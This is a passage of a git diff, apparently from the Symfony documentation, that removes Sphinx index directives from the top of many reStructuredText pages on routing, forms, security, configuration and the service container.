 
-.. index::
-   single: Page creation; Example
-
 Creating a Page: Route and Controller
 -------------------------------------
 
diff --git a/performance.rst b/performance.rst
index 17c77d7c038..f855c7f4bd8 100644
--- a/performance.rst
+++ b/performance.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Performance; Byte code cache; OPcache; APC
-
 Performance
 ===========
 
diff --git a/profiler.rst b/profiler.rst
index e889ba527b8..8ae4d9dab36 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -224,9 +224,6 @@ event::
         }
     }
 
-.. index::
-   single: Profiling; Data collector
-
 .. _profiler-data-collector:
 
 Creating a Data Collector
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 671d172c6e2..58815737641 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Attributes
-
 Symfony Attributes Overview
 ===========================
 
diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index e77ee6e7bd6..292b827214f 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; Framework
-
 Debug Configuration Reference (DebugBundle)
 ===========================================
 
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 53f98858d90..d2dec43171b 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: Doctrine; ORM configuration reference
-    single: Configuration reference; Doctrine ORM
-
 Doctrine Configuration Reference (DoctrineBundle)
 =================================================
 
@@ -24,10 +20,6 @@ configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd``
 
-.. index::
-    single: Configuration; Doctrine DBAL
-    single: Doctrine; DBAL configuration
-
 .. _`reference-dbal-configuration`:
 
 Doctrine DBAL Configuration
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8db3c0abca2..385d006c8f2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; Framework
-
 .. _framework-bundle-configuration:
 
 Framework Configuration Reference (FrameworkBundle)
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 924bad05a6e..0e31e423dd9 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; Kernel class
-
 Configuring in the Kernel
 =========================
 
diff --git a/reference/configuration/monolog.rst b/reference/configuration/monolog.rst
index cf6eb53e443..acabb02af57 100644
--- a/reference/configuration/monolog.rst
+++ b/reference/configuration/monolog.rst
@@ -1,6 +1,3 @@
-.. index::
-    pair: Monolog; Configuration reference
-
 Logging Configuration Reference (MonologBundle)
 ===============================================
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 6e4b96c6860..b3ab6d31564 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Security; Configuration reference
-
 Security Configuration Reference (SecurityBundle)
 =================================================
 
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index 2e46e99b000..304bcef643c 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; Swift Mailer
-
 Mailer Configuration Reference (SwiftmailerBundle)
 ==================================================
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index c686a6fd036..fc1d4886082 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -1,6 +1,3 @@
-.. index::
-    pair: Twig; Configuration reference
-
 Twig Configuration Reference (TwigBundle)
 =========================================
 
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 9d3ddb088f5..fc95fd96833 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Configuration reference; WebProfiler
-
 Profiler Configuration Reference (WebProfilerBundle)
 ====================================================
 
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 097d9d905cd..cf51ac7c7ff 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Syntax; ExpressionLanguage
-
 The Expression Syntax
 =====================
 
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 3e19567f5cd..cd3f05c4c29 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Translation; Message Format
-
 How to Translate Messages using the ICU MessageFormat
 =====================================================
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 01d23bf264c..8127bf43729 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Yaml; YAML Format
-
 The YAML Format
 ---------------
 
diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index eaa0344f141..aeb8d48ece9 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Types Reference
-
 Form Types Reference
 ====================
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index f130aa9fc6a..2098d3cfb89 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; BirthdayType
-
 BirthdayType Field
 ==================
 
diff --git a/reference/forms/types/button.rst b/reference/forms/types/button.rst
index 5c490a79dca..a83cb0a09b6 100644
--- a/reference/forms/types/button.rst
+++ b/reference/forms/types/button.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; ButtonType
-
 ButtonType Field
 ================
 
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index a27637bff4b..2e699464eee 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; CheckboxType
-
 CheckboxType Field
 ==================
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 6775b9d7f6c..beb3f27d08f 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; ChoiceType
-
 ChoiceType Field (select drop-downs, radio buttons & checkboxes)
 ================================================================
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index b88fcde794a..f44f25d7545 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; CollectionType
-
 CollectionType Field
 ====================
 
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 72bfa0eff79..62811d0386d 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; ColorType
-
 ColorType Field
 ===============
 
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 4362cefd0d0..3cd748c74c8 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; country
-
 CountryType Field
 =================
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 7ffa36a4f73..7417ac636c2 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Forms; Fields; currency
-
 CurrencyType Field
 ==================
 
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 22a64567a08..515c12099a1 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; DateType
-
 DateType Field
 ==============
 
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index d625c058836..627fb78d7ed 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; DateIntervalType
-
 DateIntervalType Field
 ======================
 
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 8d1e43da07e..cee081e3885 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; DateTimeType
-
 DateTimeType Field
 ==================
 
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index e27898386d4..9a5f06c2a9e 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; EmailType
-
 EmailType Field
 ===============
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 721a503aae2..884ab26a0d0 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; EntityType
-
 EntityType Field
 ================
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index c8bd18d2c04..7a01f41f27b 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; EnumType
-
 EnumType Field
 ==============
 
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index fc2836cd2cf..29601e860f8 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; FileType
-
 FileType Field
 ==============
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 945bfafc365..9ef474a0063 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; FormType
-
 FormType Field
 ==============
 
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 4a5a449ae60..fba056b88e5 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; hidden
-
 HiddenType Field
 ================
 
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 5889ee0e21f..b88211d9ae5 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; IntegerType
-
 IntegerType Field
 =================
 
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index d95bc28780a..fb667a12338 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; LanguageType
-
 LanguageType Field
 ==================
 
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 4ee77116489..eb8075093ed 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; LocaleType
-
 LocaleType Field
 ================
 
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index a7fa743846b..99631f3e1e4 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; MoneyType
-
 MoneyType Field
 ===============
 
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index eda9189f7e3..81b71bfe91b 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; NumberType
-
 NumberType Field
 ================
 
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index d512be22594..e3e11ecb02f 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; PasswordType
-
 PasswordType Field
 ==================
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 0102f0c1d83..803badd2971 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; PercentType
-
 PercentType Field
 =================
 
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index de7a8bbde12..72acd123af3 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; RadioType
-
 RadioType Field
 ===============
 
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 3d8730ed249..9da6407f881 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; RangeType
-
 RangeType Field
 ===============
 
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index 04796df2c6b..e5bd0cd4520 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; RepeatedType
-
 RepeatedType Field
 ==================
 
diff --git a/reference/forms/types/reset.rst b/reference/forms/types/reset.rst
index 6fd9b99d7fb..1f2df508178 100644
--- a/reference/forms/types/reset.rst
+++ b/reference/forms/types/reset.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; ResetType
-
 ResetType Field
 ===============
 
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index 048dd535ab5..8eeefb053d5 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; SearchType
-
 SearchType Field
 ================
 
diff --git a/reference/forms/types/submit.rst b/reference/forms/types/submit.rst
index 0ac866d82e9..70fa429685a 100644
--- a/reference/forms/types/submit.rst
+++ b/reference/forms/types/submit.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; SubmitType
-
 SubmitType Field
 ================
 
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index aebbe3de487..cca1c52a4be 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TelType
-
 TelType Field
 =============
 
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index 204c496ce85..dd690c6e6df 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TextType
-
 TextType Field
 ==============
 
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 329c91731b4..e642cbdb4db 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TextareaType
-
 TextareaType Field
 ==================
 
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 96fabf194f5..b45b0eab561 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TimeType
-
 TimeType Field
 ==============
 
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 6dc0d793b3b..9d1b1a7edef 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; TimezoneType
-
 TimezoneType Field
 ==================
 
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 90d2f33589b..9ad8e7a6fee 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; UuidType
-
 UlidType Field
 ==============
 
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 6a5d368c41c..b75a2b1db0c 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; UrlType
-
 UrlType Field
 =============
 
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index c5d0827558e..6c0cd576cae 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; UuidType
-
 UuidType Field
 ==============
 
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 045851adc96..84ee98aff85 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Forms; Fields; WeekType
-
 WeekType Field
 ==============
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4cb698217af..38d96910fd2 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Symfony Twig extensions
-
 Twig Extensions Defined by Symfony
 ==================================
 
diff --git a/routing.rst b/routing.rst
index 7bbb5cf0804..66769dcc9de 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Routing
-
 Routing
 =======
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index b8b9f4c1d76..7c050010ed5 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Routing; Custom route loader
-
 How to Create a custom Route Loader
 ===================================
 
diff --git a/routing/routing_from_database.rst b/routing/routing_from_database.rst
index 28d539a77f1..634bb537462 100644
--- a/routing/routing_from_database.rst
+++ b/routing/routing_from_database.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Routing; Extra Information
-
 Looking up Routes from a Database: Symfony CMF DynamicRouter
 ============================================================
 
diff --git a/security.rst b/security.rst
index cb2e21d675e..fb0ad14e2ac 100644
--- a/security.rst
+++ b/security.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security
-
 Security
 ========
 
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index b1c73ce5e88..93448456cf0 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Security; Creating a Custom Access Denied Handler
-
 How to Customize Access Denied Responses
 ========================================
 
diff --git a/security/csrf.rst b/security/csrf.rst
index 5e659be9750..a03cfc59c00 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: CSRF; CSRF protection
-
 How to Implement CSRF Protection
 ================================
 
diff --git a/security/expressions.rst b/security/expressions.rst
index 654ea147d44..91f42d22cbc 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Expressions in the Framework
-
 Using Expressions in Security Access Controls
 =============================================
 
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index 59e261e8628..dcf6a1a5f4d 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Restrict Security Firewalls to a Request
-
 How to Restrict Firewalls to a Request
 ======================================
 
diff --git a/security/force_https.rst b/security/force_https.rst
index ac59f245a94..817adbdb50f 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Force HTTPS
-
 How to Force HTTPS or HTTP for different URLs
 =============================================
 
diff --git a/security/form_login.rst b/security/form_login.rst
index 5bae5c6e62b..ec8f4a1d373 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Customizing form login redirect
-
 Customizing the Form Login Authenticator Responses
 ==================================================
 
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index d596d473845..99ba88d2b25 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Security; Impersonating User
-
 How to Impersonate a User
 =========================
 
diff --git a/security/ldap.rst b/security/ldap.rst
index ff768969771..f6344d45842 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Authenticating against an LDAP server
-
 Authenticating against an LDAP server
 =====================================
 
diff --git a/security/login_link.rst b/security/login_link.rst
index b1688490f5f..4dea64c7662 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Security; Login link
-   single: Security; Magic link login
-
 How to use Passwordless Login Link Authentication
 =================================================
 
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 5b3ce54fb4a..58fbeb6e959 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; "Remember me"
-
 How to Add "Remember Me" Login Functionality
 ============================================
 
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index a404a668932..66981736ded 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Security; Creating and Enabling Custom User Checkers
-
 How to Create and Enable Custom User Checkers
 =============================================
 
diff --git a/security/voters.rst b/security/voters.rst
index a2f89832706..a770e386c02 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Data Permission Voters
-
 .. _security/custom-voter:
 
 How to Use Voters to Check User Permissions
diff --git a/serializer.rst b/serializer.rst
index d02dc302e56..04ffb540374 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Serializer
-
 How to Use the Serializer
 =========================
 
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 7f8a0e1b4f2..432cb205b63 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Serializer; Custom encoders
-
 How to Create your Custom Encoder
 =================================
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 5630eb4e552..c2c8c5d0bbf 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Serializer; Custom normalizers
-
 How to Create your Custom Normalizer
 ====================================
 
diff --git a/service_container.rst b/service_container.rst
index 5b2321bfbaa..47a421f1345 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Service Container
-   single: DependencyInjection; Container
-
 Service Container
 =================
 
@@ -89,9 +85,6 @@ in the container.
     you won't need to worry about this. See :ref:`services-wire-specific-service`.
     See :doc:`/service_container/debug`.
 
-.. index::
-   single: Service Container; Configuring services
-
 .. _service-container-creating-service:
 
 Creating/Configuring Services in the Container
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 7f39478a247..44a8492a53d 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Advanced configuration
-
 How to Create Service Aliases and Mark Services as Private
 ==========================================================
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 0d0a3d27398..39fa1ba5299 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Autowiring
-
 Defining Services Dependencies Automatically (Autowiring)
 =========================================================
 
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 5e6036421df..a76cedbca2c 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Method Calls
-
 Service Method Calls and Setter Injection
 =========================================
 
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 462c5942824..34eee2e67df 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: DependencyInjection; Compiler passes
-   single: Service Container; Compiler passes
-
 How to Work with Compiler Passes
 ================================
 
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 4fab69c5551..055eb541ae8 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: DependencyInjection; Service configurators
-
 How to Configure a Service with a Configurator
 ==============================================
 
diff --git a/service_container/debug.rst b/service_container/debug.rst
index e949f6234f9..1e460b03770 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection; Debug
-    single: Service Container; Debug
-
 How to Debug the Service Container & List Services
 ==================================================
 
diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index 160f92c8315..e54a99237d9 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Service definitions
-
 How to work with Service Definition Objects
 ===========================================
 
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 9887cefb443..908ad68da5a 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -1,9 +1,3 @@
-.. index::
-    single: DependencyInjection; ExpressionLanguage
-    single: DependencyInjection; Expressions
-    single: Service Container; ExpressionLanguage
-    single: Service Container; Expressions
-
 How to Inject Values Based on Complex Expressions
 =================================================
 
diff --git a/service_container/factories.rst b/service_container/factories.rst
index ba747c82da8..7c5c87dc004 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: DependencyInjection; Factories
-
 Using a Factory to Create Services
 ==================================
 
diff --git a/service_container/import.rst b/service_container/import.rst
index 433b03d9812..2fed44e16a5 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection; Importing Resources
-    single: Service Container; Importing Resources
-
 How to Import Configuration Files/Resources
 ===========================================
 
@@ -22,9 +18,6 @@ directive. The second method, using dependency injection extensions, is used by
 third-party bundles to load the configuration. Read on to learn more about both
 methods.
 
-.. index::
-    single: Service Container; Imports
-
 .. _service-container-imports-directive:
 
 Importing Configuration with ``imports``
@@ -152,9 +145,6 @@ but after the ``App\`` definition to override it.
 
 .. include:: /components/dependency_injection/_imports-parameters-note.rst.inc
 
-.. index::
-    single: Service Container; Extension configuration
-
 .. _service-container-extension-configuration:
 
 Importing Configuration via Container Extensions
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 81d06810f9f..d88e5139824 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: DependencyInjection; Injection types
-
 Types of Injection
 ==================
 
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 75438026a57..bdac2a0bc46 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Dependency Injection; Lazy Services
-
 Lazy Services
 =============
 
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 3c1db4d9a73..9cab17e2254 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Parent services
-
 How to Manage Common Dependencies with Parent Services
 ======================================================
 
diff --git a/service_container/request.rst b/service_container/request.rst
index d72a533507b..35a20b8d69f 100644
--- a/service_container/request.rst
+++ b/service_container/request.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection; Request
-    single: Service Container; Request
-
 How to Retrieve the Request from the Service Container
 ======================================================
 
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index d490bcb3769..03e142b3455 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Service Closures
-
 Service Closures
 ================
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 1b09c3b54f9..1bf0bf86d1e 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Service Container; Decoration
-
 How to Decorate Services
 ========================
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index efa6d71549f..86389a71144 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Service Subscribers
-
 .. _service-locators:
 
 Service Subscribers & Locators
diff --git a/service_container/shared.rst b/service_container/shared.rst
index 0b87976dc39..003ad2914b7 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Service Container; Shared Services
-
 How to Define Non Shared Services
 =================================
 
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 0a83bebed9e..4dfec92709f 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: DependencyInjection; Synthetic Services
-
 How to Inject Instances into the Container
 ------------------------------------------
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7c8947c2e6b..8777639cd60 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -1,7 +1,3 @@
-.. index::
-    single: DependencyInjection; Tags
-    single: Service Container; Tags
-
 How to Work with Service Tags
 =============================
 
diff --git a/session.rst b/session.rst
